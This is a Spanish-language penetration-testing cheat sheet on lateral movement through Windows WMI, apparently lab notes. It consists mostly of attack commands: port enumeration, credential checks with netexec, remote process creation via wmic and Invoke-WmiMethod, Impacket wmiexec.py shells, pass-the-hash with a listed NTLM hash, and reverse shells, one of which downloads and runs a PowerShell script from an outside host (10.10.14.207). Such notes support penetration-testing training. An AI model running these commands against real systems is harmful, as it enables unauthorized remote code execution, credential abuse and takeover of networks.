Skip to content

Lateral Movement — Windows Management Instrumentation (WMI)

Herramientas


Requisitos

Por defecto solo miembros del grupo Administrators pueden ejecutar operaciones WMI remotamente. WMI usa TCP 135 para la conexión inicial y puertos dinámicos en el rango 49152-65535 para el intercambio de datos.


Enumeración

c
# Detectar puertos WMI con nmap
nmap -p135,49152-65535 172.20.0.52 -sV

PORT      STATE SERVICE    VERSION
135/tcp   open  msrpc      Microsoft Windows RPC
49667/tcp open  msrpc      Microsoft Windows RPC
49670/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc      Microsoft Windows RPC
49672/tcp open  msrpc      Microsoft Windows RPC
49686/tcp open  msrpc      Microsoft Windows RPC
49731/tcp open  msrpc      Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
# Verificar acceso con credenciales
netexec wmi 172.20.0.52 -u helen -p RedRiot88

# Via proxychains
proxychains4 -q netexec wmi 172.20.0.52 -u helen -p RedRiot88

(Pwn3d!) confirma que el usuario tiene permisos de admin y puede ejecutar comandos via WMI. Sin (Pwn3d!) las credenciales son válidas pero sin privilegios de ejecución remota.


WMI desde Windows

Consultas de información del sistema

c
# Info del OS
wmic /node:172.20.0.52 os get Caption,CSDVersion,OSArchitecture,Version

# Con credenciales explícitas
wmic /user:helen /password:RedRiot88 /node:172.20.0.52 os get Caption,CSDVersion,OSArchitecture,Version

# Todos los atributos del OS (útil para buscar SerialNumber, InstallDate, etc.)
wmic /node:172.20.0.52 os get /format:list

# Con PowerShell equivalente
Get-WmiObject -Class Win32_OperatingSystem -ComputerName 172.20.0.52 | Select-Object *

# Atributos específicos
Get-WmiObject -Class Win32_OperatingSystem -ComputerName 172.20.0.52 | Select-Object Caption,SerialNumber,InstallDate,OSArchitecture,Version

Otras clases WMI útiles

c
# Procesos corriendo
wmic /node:172.20.0.52 process list brief

# Servicios
wmic /node:172.20.0.52 service list brief

# Info de hardware
wmic /node:172.20.0.52 computersystem get Name,Domain,Manufacturer,Model

# Usuarios locales
wmic /node:172.20.0.52 useraccount list brief

# Productos instalados
wmic /node:172.20.0.52 product get Name,Version

Ejecución de comandos remotos

c
# Crear proceso remoto con wmic
wmic /node:172.20.0.52 process call create "cmd.exe /c whoami > C:\output.txt"

# Con PowerShell (Invoke-WmiMethod)
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName 172.20.0.52

# Con credenciales explícitas
$cred = New-Object System.Management.Automation.PSCredential("INLANEFREIGHT\helen", (ConvertTo-SecureString "RedRiot88" -AsPlainText -Force))
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName 172.20.0.52 -Credential $cred

# Ejecutar reverse shell via WMI
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.207/s')" -ComputerName 172.20.0.52

Invoke-WmiMethod es el reemplazo de wmic que está deprecated desde Windows 10 21H1. WMI en sí no está deprecated, solo el utilitario wmic.


WMI desde Linux

wmic (Linux)

c
# Instalar
sudo apt-get install wmi-client

# Consultar info del OS
wmic -U inlanefreight.local/helen%RedRiot88 //172.20.0.52 "SELECT Caption,CSDVersion,OSArchitecture,Version FROM Win32_OperatingSystem"

# Buscar atributos específicos
wmic -U inlanefreight.local/helen%RedRiot88 //172.20.0.52 "SELECT SerialNumber,InstallDate FROM Win32_OperatingSystem"

# Listar procesos
wmic -U inlanefreight.local/helen%RedRiot88 //172.20.0.52 "SELECT Name,ProcessId FROM Win32_Process"

wmiexec.py (Impacket)

c
# Shell interactiva
proxychains4 -q wmiexec.py inlanefreight/helen:RedRiot88@172.20.0.52

# Ejecutar comando directo
proxychains4 -q wmiexec.py inlanefreight/helen:RedRiot88@172.20.0.52 whoami

# Sin output (cuando puerto 445 está bloqueado)
proxychains4 -q wmiexec.py inlanefreight/helen:RedRiot88@172.20.0.52 whoami -nooutput

# Con hash
proxychains4 -q wmiexec.py inlanefreight/helen@172.20.0.52 -hashes :62EBA30320E250ECA185AA1327E78AEB whoami

wmiexec.py usa puerto 445 para recuperar el output del comando. Si el 445 está bloqueado usar -nooutput o -silentcommand.

NetExec — WMI queries y ejecución

c
# Ejecutar query WMI
proxychains4 -q netexec wmi 172.20.0.52 -u helen -p RedRiot88 --wmi "SELECT * FROM Win32_OperatingSystem"

# Buscar atributo específico
proxychains4 -q netexec wmi 172.20.0.52 -u helen -p RedRiot88 --wmi "SELECT SerialNumber,InstallDate FROM Win32_OperatingSystem"

# Ejecutar comando (recupera output via WMI, no necesita puerto 445)
proxychains4 -q netexec wmi 172.20.0.52 -u helen -p RedRiot88 -x whoami

# Ejecutar reverse shell
proxychains4 -q netexec wmi 172.20.0.52 -u helen -p RedRiot88 -x "powershell -exec bypass -nop -e <base64>"

# Con hash
proxychains4 -q netexec wmi 172.20.0.52 -u helen -H 62EBA30320E250ECA185AA1327E78AEB -x whoami

La ventaja de NetExec sobre wmiexec.py es que recupera el output via WMI directamente sin necesitar el puerto 445 abierto.


Clases WMI más útiles para recon

Win32_OperatingSystem   → info del OS, SerialNumber, InstallDate, version
Win32_Process           → procesos, crear/terminar procesos remotamente
Win32_Service           → servicios, estado, binary path
Win32_ComputerSystem    → hostname, dominio, fabricante
Win32_UserAccount       → usuarios locales del sistema
Win32_NetworkAdapter    → interfaces de red y configuración
Win32_LogicalDisk       → discos y espacio disponible
Win32_Product           → software instalado
Win32_BIOS              → información del BIOS

Pass the Hash via WMI

c
# wmiexec.py con hash
proxychains4 -q wmiexec.py inlanefreight/helen@172.20.0.52 -hashes :62EBA30320E250ECA185AA1327E78AEB

# NetExec con hash
proxychains4 -q netexec wmi 172.20.0.52 -u helen -H 62EBA30320E250ECA185AA1327E78AEB -x whoami